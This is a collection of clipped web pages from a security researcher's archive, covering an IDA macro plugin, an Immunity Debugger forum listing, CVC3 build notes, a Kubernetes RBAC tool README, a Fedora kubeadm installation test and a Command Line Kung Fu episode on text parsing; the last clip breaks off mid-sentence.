This is _climacros_ in action:

<img src='img/climacros-vid-1.gif' width='576' height='426' />

No more copy/paste in order to get the current address from the disassembly
view\! <img src='img/13266_1f642.png' width='576' height='576' />

_climacros_ is written in C++ and is opensource. You can also grab the Windows
binaries from here.

# Future work

If this plugin is well received, I think people will ask for features like:

  * Macros profiles: to have a set of macros that one can switch between them quickly
  * Import/Export macros: to be able to transfer macros with users
  * Macro expansion using a scripting language of your choice and not just Python

Let me know\!

# Post navigation

### Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

Notify me of follow-up comments by email.

Notify me of new posts by email.

This site uses Akismet to reduce spam. Learn how your comment data is
processed.

Measure

Measure

# Identifying Trends in Enterprise Data Protection Systems

**Created:**| _7/16/2015 10:14:06 AM_  
---|---  
**Updated:**| _7/16/2015 10:15:00 AM_  
**Author:**| __  
**Tags:**| __  
  

#  atc15-paper-amvrosladis.pdf

<img src='img/atc15-paper-amvrosladis.pdf' />

# Immunity Forum

**Created:**| _1/1/2010 10:17:39 PM_  
---|---  
**Updated:**| _1/1/2010 10:17:44 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Immunity Inc

## Community Forum

Copyright © 2002-2009 by ImmunityInc.com

<img src='img/Temp2_4361.gif' />

Sie sind nicht eingelogged.  
Einloggen  
Registrieren  

Sprache wechseln: GermanEnglishFrenchPolishKoreanRussian

  
  

Aktuellsten Posts | Forum >> Old Forums >> Immunity Debugger: Repository 
Bitte melden Sie sich an, um einen neuen Thread zu erstellen.

Threads  
---  
Betreff / Autor| Aufrufe| Posts| Letzter Post  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />|
\[UPDATED/FIXED/NEW FEATURES\]: \!nsearch - A New Take on Searching Memory  
Von Anonymous| 407 | 4 | In 2009-10-27 18:26:56  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!uunpack -
Automatic unpack  
Von Anonymous| 67 | 2 | In 2009-10-27 18:26:55  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| IDA 2 Immunity
Debugger  
Von Anonymous| 74 | 8 | In 2009-10-27 18:26:45  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!packets  
Von Anonymous| 29 | 3 | In 2009-10-27 18:26:43  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!nsearch - A New
Take on Searching Memory  
Von Anonymous| 31 | 3 | In 2009-10-27 18:26:43  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| ImmDbg
\(unofficial\) Delphi PDK v1.01 - Supports OllyDbg too\!  
Von Anonymous| 46 | 2 | In 2009-10-27 18:26:39  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />|
itunes7\_antiantidebug PyScript  
Von Anonymous| 33 | 7 | In 2009-10-27 18:26:35  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!iss
\(signatures scanner\)  
Von Anonymous| 27 | 2 | In 2009-10-27 18:26:25  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!gflags on 1.5  
Von Anonymous| 21 | 1 | In 2009-10-27 18:26:23  
Von Anonymous  
<img src='img/Temp2_4362.gif' width='16px' height='16px' />| \!hookndr \(Just
a screenshot teaser\)  
Von Anonymous| 33 | 1 | In 2009-10-27 18:26:22  
Von Anonymous  
21 Threads in dieser Kategorie.Page: 1 2 3 Next  
Bitte melden Sie sich an, um einen neuen Thread zu erstellen.

  

  

Viewing or use of this forum is subject to Immunity's Privacy Policy.

# CVC3: INSTALL

**Created:**| _11/27/2010 11:26:52 PM_  
---|---  
**Updated:**| _11/27/2010 11:26:52 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research programming projects SMT_  
  

### Java interface

_**Note: The Java interface is experimental. The API may change in future
releases.**_

To build the Java interface to CVC3, use the `--enable-java` configuration
option. The configuration script refers to the environment variables `JAVAC`,
`JAVAH`, `JAR`, and `CXX` to set up the standard Java and C++ compiler
commands. It refers to the environment variable `JFLAGS` for default Java
compiler flags. It refers to the variable `javadir` for the installation
directory of `libcvc3.jar`.

The configuration options `--with-java-home` and `--with-java-includes` can be
used to specify the path to the directories containing the JDK installation
and JNI header files, respectively.

You must build CVC3 as a dynamic library to use the Java interface. For
example, you might configure the build by running the following in the top-
level CVC3 directory:

[code]

        ./configure --enable-dynamic --enable-java
    
[/code]

**Note:** The Java interface depends on the "build type" \(e.g., "optimized",
"debug"\) of CVC3. If you choose to re-configure and re-build CVC3 with a
different build type, you must run "make clean" in the current directory and
re-build the interface \(cleaning and rebuilding the entire CVC3 package will
suffice\).

#### Using the Java interface

To access the library, you must add `libcvc3.jar` to the classpath \(e.g., by
setting the `CLASSPATH` environment variable\) and both `libcvc3.so` and
`libcvc3jni.so` to the runtime library path \(e.g., by setting the
`LD_LIBRARY_PATH` environment variable java.library.path JVM variable\).

For example, to compile the class Client.java:

[code]

        javac -cp lib/libcvc3.jar Client.java
    
[/code]

To run:

[code]

      export LD_LIBRARY_PATH=/path/to/cvc3/libs
      java -Djava.library.path=/path/to/cvc3/libs -cp lib/libcvc3.jar Client
    
[/code]

# NIST drafts

**Created:**| _10/28/2009 12:57:39 PM_  
---|---  
**Updated:**| _10/28/2009 12:57:51 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# PUBLICATIONS

## Drafts

This page consists of draft NIST Publications \(FIPS, Special Publications\)
that are either open for public review and to offer comments, or the document
is waiting to be approved as a final document by the Secretary of Commerce.

### Drafts

# Factorization of a 768-bit RSA modulus

**Created:**| _1/7/2010 1:27:20 PM_  
---|---  
**Updated:**| _1/7/2010 1:27:37 PM_  
**Author:**| __  
**Tags:**| _papers crypto_  
  
<img src='img/Temp2_3086' />

# aquasecurity/kubectl-who-can

**Created:**| _4/25/2019 6:34:55 AM_  
---|---  
**Updated:**| _4/25/2019 6:34:55 AM_  
**Author:**| __  
**Tags:**| _micro service kubernetes rbac_  
  

  

### Join GitHub today

GitHub is home to over 31 million developers working together to host and
review code, manage projects, and build software together.

Sign up

\[WIP proof of concept\] show who has permissions to <verb> <resources> in
kubernetes

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-history js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='20'%3e%3cpath fill-rule='evenodd' d='M8 13H6V6h5v2H8v5zM7 1C4.81 1 2.87 2.02 1.59 3.59L0 2v4h4L2.5 4.5C3.55 3.17 5.17 2.3 7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-.34.03-.67.09-1H.08C.03 7.33 0 7.66 0 8c0 3.86 3.14 7 7 7s7-3.14 7-7-3.14-7-7-7z' data-evernote-id='450' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 20  commits 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-git-branch js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='21'%3e%3cpath fill-rule='evenodd' d='M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='453' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 1  branch 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='22'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96 1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39 1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38 7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16 1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-id='456' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 0  releases 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-organization js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='23'%3e%3cpath fill-rule='evenodd' d='M16 12.999c0 .439-.45 1-1 1H7.995c-.539 0-.994-.447-.995-.999H1c-.54 0-1-.561-1-1 0-2.634 3-4 3-4s.229-.409 0-1c-.841-.621-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.442.58 2.5 3c.058 2.41-.159 2.379-1 3-.229.59 0 1 0 1s1.549.711 2.42 2.088C9.196 9.369 10 8.999 10 8.999s.229-.409 0-1c-.841-.62-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.437.581 2.495 3c.059 2.41-.158 2.38-1 3-.229.59 0 1 0 1s3.005 1.366 3.005 4z' data-evernote-id='459' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 3  contributors 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-law js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='24'%3e%3cpath fill-rule='evenodd' d='M7 4c-.83 0-1.5-.67-1.5-1.5S6.17 1 7 1s1.5.67 1.5 1.5S7.83 4 7 4zm7 6c0 1.11-.89 2-2 2h-1c-1.11 0-2-.89-2-2l2-4h-1c-.55 0-1-.45-1-1H8v8c.42 0 1 .45 1 1h1c.42 0 1 .45 1 1H3c0-.55.58-1 1-1h1c0-.55.58-1 1-1h.03L6 5H5c0 .55-.45 1-1 1H3l2 4c0 1.11-.89 2-2 2H2c-1.11 0-2-.89-2-2l2-4H1V5h3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1h3v1h-1l2 4zM2.5 7L1 10h3L2.5 7zM13 10l-1.5-3-1.5 3h3z' data-evernote-id='462' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Apache-2.0 

  1. Go 93.6%
  2. HCL 3.5%
  3. Makefile 2.9%

_Branch:_ master

Find File

Clone or download

<img src='img/458616' width='20' height='20' />

lizriceView all commits by lizrice Merge pull request \#8 from surajssd/add-
gitignore

Latest commit  fd1de97  15 days ago

Type | Name | Latest commit message | Commit time  
---|---|---|---  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='29'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='560' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .github |  rm uneeded docker vars |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='30'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='570' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  cmd |  Include auth provider plugins |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='31'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='580' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .gitignore |  .gitignore: Add the built binary to the list |  15 days ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='32'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='590' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .goreleaser.yml |  add release script |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='33'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='600' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  LICENSE |  Create LICENSE |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='34'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='610' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  NOTICE |  Add Notice file |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='35'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='620' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  README.md |  Escape chars in readme |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='36'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='630' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  go.mod |  Project moved |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='37'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='640' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  go.sum |  Include auth provider plugins |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='38'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='650' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  main.go |  fix stale import |  a month ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='39'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='660' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  makefile |  Add basic makefile |  a month ago  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='40'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='671'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='41'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='673' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>kubectl-who-can

\[WIP\] show who has permissions to <verb> <resources> in kubernetes

<img
src='img/68747470733a2f2f61736369696e656d612e6f72672f612f63637171597741354c35724d56396b643174677a795a4a326a2e737667'
width='882' height='285' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='42'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='677' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />TODO

  * Filter by namespace
  * Specify a particular object e.g. who-can use pod-security-policy <name>
  * Make it a kubectl plugin \(for now it's a standalone executable\)
  * Alert if user doesn't have access to all namespaces, roles, clusterroles or bindings \(as info won't be complete\)

# User:Jasonbrooks/QA/AtomicTests/Install Kubeadm - Fedora Project Wiki

**Created:**| _1/2/2019 6:47:43 PM_  
---|---  
**Updated:**| _1/2/2019 6:47:43 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Contents

\[hide\]

  * 1 Description
  * 2 Setup
  * 3 How to test
  * 4 Expected Results

#  Description

Install Kubernetes on Fedora Atomic Host using kubeadm.

#  Setup

  * Install one or more Fedora Atomic Hosts. 

#  How to test

  * Use package layering to install kubeadm on each host:

[code]

     rpm-ostree install kubernetes-kubeadm ethtool -r
    
[/code]

  * In order to use kubeadm with selinux in enforcing mode, create and set the context of `/var/lib/etcd`, `/etc/kubernetes/pki`, and `/etc/cni/net.d`:

[code]

    # for i in {/var/lib/etcd,/etc/kubernetes/pki,/etc/kubernetes/pki/etcd,/etc/cni/net.d}; do mkdir -p $i && chcon -Rt svirt_sandbox_file_t $i; done
     
    
[/code]

  * _**BUG ALERT: kubernetes wants to create a flex volume driver dir at`/usr/libexec/kubernetes`, but this is a read-only location on atomic hosts. Modify `/etc/systemd/system/kubelet.service.d/kubeadm.conf` to substitute a writeable flex volume location:**_

[code]

    # sed -i 's/--cgroup-driver=systemd/--cgroup-driver=systemd --volume-plugin-dir=\/etc\/kubernetes\/volumeplugins/' /etc/systemd/system/kubelet.service.d/kubeadm.conf
     
    
[/code]

  * Start the kubelet and initialize the kubernetes cluster. We specify a pod-network-cidr because flannel, which we'll use in this test, requires it, and we ignore preflight errors because because kubeadm looks in the wrong place for kernel config.

[code]

    # systemctl enable --now kubelet
    
    # kubeadm init --pod-network-cidr=10.244.0.0/16 --ignore-preflight-errors=all
    
    
[/code]

  * Follow the directions in the resulting output to configure kubectl:

[code]

    # mkdir -p $HOME/.kube
    # sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
    # sudo chown $(id -u):$(id -g) $HOME/.kube/config
    
    
[/code]

  * Deploy the flannel network plugin:

[code]

    # kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
    
[/code]

  * By default, your cluster will not schedule pods on the master for security reasons. If you want to be able to schedule pods on the master, e.g. for a single-machine Kubernetes cluster run:

[code]

    # kubectl taint nodes --all node-role.kubernetes.io/master-
    
[/code]

  * If desired, join additional nodes to the master using the kubeadm join command provided in the kubeadm init output. For instance:

[code]

    # kubeadm join --token 2a247c.f357bc09c56b12c8 atomic1:6443
    
[/code]

  * Check on the install:

[code]

    # kubectl get nodes
    NAME                                           STATUS    AGE       VERSION
    atomic1   Ready     6m        v1.7.3
    
    
[/code]

[code]

    # kubectl get pods --all-namespaces
    NAMESPACE     NAME                              READY     STATUS    RESTARTS   AGE
    kube-system   etcd-atomic1                      1/1       Running   0          5m
    kube-system   kube-apiserver-atomic1            1/1       Running   0          6m
    kube-system   kube-controller-manager-atomic1   1/1       Running   0          5m
    kube-system   kube-dns-2425271678-lpqlt         3/3       Running   0          6m
    kube-system   kube-flannel-ds-fcmbb             1/1       Running   0          4m
    kube-system   kube-proxy-mrdf4                  1/1       Running   0          6m
    kube-system   kube-scheduler-atomic1            1/1       Running   0          6m
    
    
    
[/code]

  * Run some test apps

[code]

    # kubectl run nginx --image=nginx --port=80 --replicas=3
    deployment "nginx" created
    
    # kubectl get pods -o wide
    NAME                    READY     STATUS    RESTARTS   AGE       IP            NODE
    nginx-158599303-dbkjw   1/1       Running   0          19s       10.244.0.3    atomic1
    nginx-158599303-g4q7c   1/1       Running   0          19s       10.244.0.4    atomic1
    nginx-158599303-n0mwm   1/1       Running   0          19s       10.244.0.5    atomic1
    
    # kubectl expose deployment nginx --type NodePort
    service "nginx" exposed
    
    # kubectl get svc
    NAME         CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
    kubernetes   10.254.0.1      <none>        443/TCP        40m
    nginx        10.254.52.120   <nodes>       80:32681/TCP   14s
    
    # curl http://atomic1:32681
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    
    
[/code]

#  Expected Results

  1. kubeadm runs without error.
  2. You're able to run Kubernetes apps using the cluster.

  

  

# Command Line Kung Fu: Episode \#5 - Simple Text Manipulation - Reverse DNS
Records

**Created:**| _5/16/2009 10:35:12 AM_  
---|---  
**Updated:**| _5/16/2009 10:35:16 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#5 - Simple Text Manipulation - Reverse DNS Records

Paul Says:  
  
There are many times when I run commands to collect information, such as
hostnames and IP addresses, and the output is, well, less than desirable. For
example, lets say that you have a file called "lookups.txt" that contains the
following:  
  

[code]

    207.251.16.10.in-addr.arpa domain name pointer server1.srv.mydomain.net.  
    208.251.16.10.in-addr.arpa domain name pointer server2.srv.mydomain.net.
[/code]

  
The output is not easy to read, so I like to manipulate it such that I get a
list of IPs and hostnames:  
  

[code]

    $ awk -F . '{print $4 "." $3 "." $2 "." $1 " " $6 "."$7"."$8"."$9}' lookups.txt | cut -d" " -f1,6  
    10.16.251.165 server1.srv.mydomain.net.  
    10.16.251.166 server1.srv.mydomain.net.
[/code]

  
Hal Comments:  
  
The problem with your awk expression, Paul, is that you're assuming that all
of the fully-qualified hostnames are four levels deep. What if your file also
contains lines like:  
  

[code]

    16.254.16.10.in-addr.arpa domain name pointer www.mydomain.net.  
    17.254.16.10.in-addr.arpa domain name pointer mydomain.com.
[/code]

  
The awk doesn't choke and die, but you do end up with weird output:  
  

[code]

    $ awk -F . '{print $4 "." $3 "." $2 "." $1 " " $6 "."$7"."$8"."$9}' lookups.txt | cut -d" " -f1,6  
    10.16.251.207 server1.srv.mydomain.net  
    10.16.251.208 server2.srv.mydomain.net  
    10.16.254.16 www.mydomain.net.  
    10.16.254.17 mydomain.com..
[/code]

  
  
Yuck\! Frankly, this looks like a job for sed to me:  
  

[code]

    $ sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \  
            lookups.txt  
    10.16.251.207 server1.srv.mydomain.net  
    10.16.251.208 server2.srv.mydomain.net  
    10.16.254.16 www.mydomain.net  
    10.16.254.17 mydomain.com
[/code]

  
sed expressions like this end up looking like nasty thickets of backwhacks,
because of all the "\\\( ... \\\)" expressions, but this approach allows us to
re-order the octets of the IP address and remove all of the extra text in one
fell swoop.  
  
And, yes, a lot of people \(including me\) would probably use Perl instead of
sed for this, because Perl's regular expression syntax allows for a much more
compact command line. But Paul, Ed, and I have agreed to avoid diving into
pure scripting languages like Perl.  
  
Paul \(aka Grasshopper\) Says:  
  
Yes, I was assuming a static hostname, and wrote it as a one off to quickly
parse my particular output. I now see that sed is even more powerful than I
thought\! This will certainly be a nice addition to some of the command line
one-liners I use a on regular basis. Many times when doing a penetration test
you have to move information, such as IP addresses, between tools and this
will make the job much easier.  
  
Ed \(aka Ed\) Says:  
  
I really do wish we had awk or sed on Windows. I know, I know... we can get
them with Cygwin or other shells that we could add in. But, our ground rules
here force us to rely on built-in commands. That means, to parse in Windows,
we rely on FOR /F loops, which can parse files, strings, or the output of
commands.  
  
When I first saw Paul's post above, I came up with this pretty straight-
forward approach:  
  

[code]

    C:\> FOR /F "tokens=1-4,10-14 delims=. " %a in (lookups.txt) do @echo %d.%c.%b.%a %e.%f.%g.%h
[/code]

  
  
Here, I'm parsing the file, using iterator variables starting with %a \(FOR /F
will automatically allocate more vars while it parses\) and delimiters of .
and spaces \(gotta have that space there, because the dot overrides default
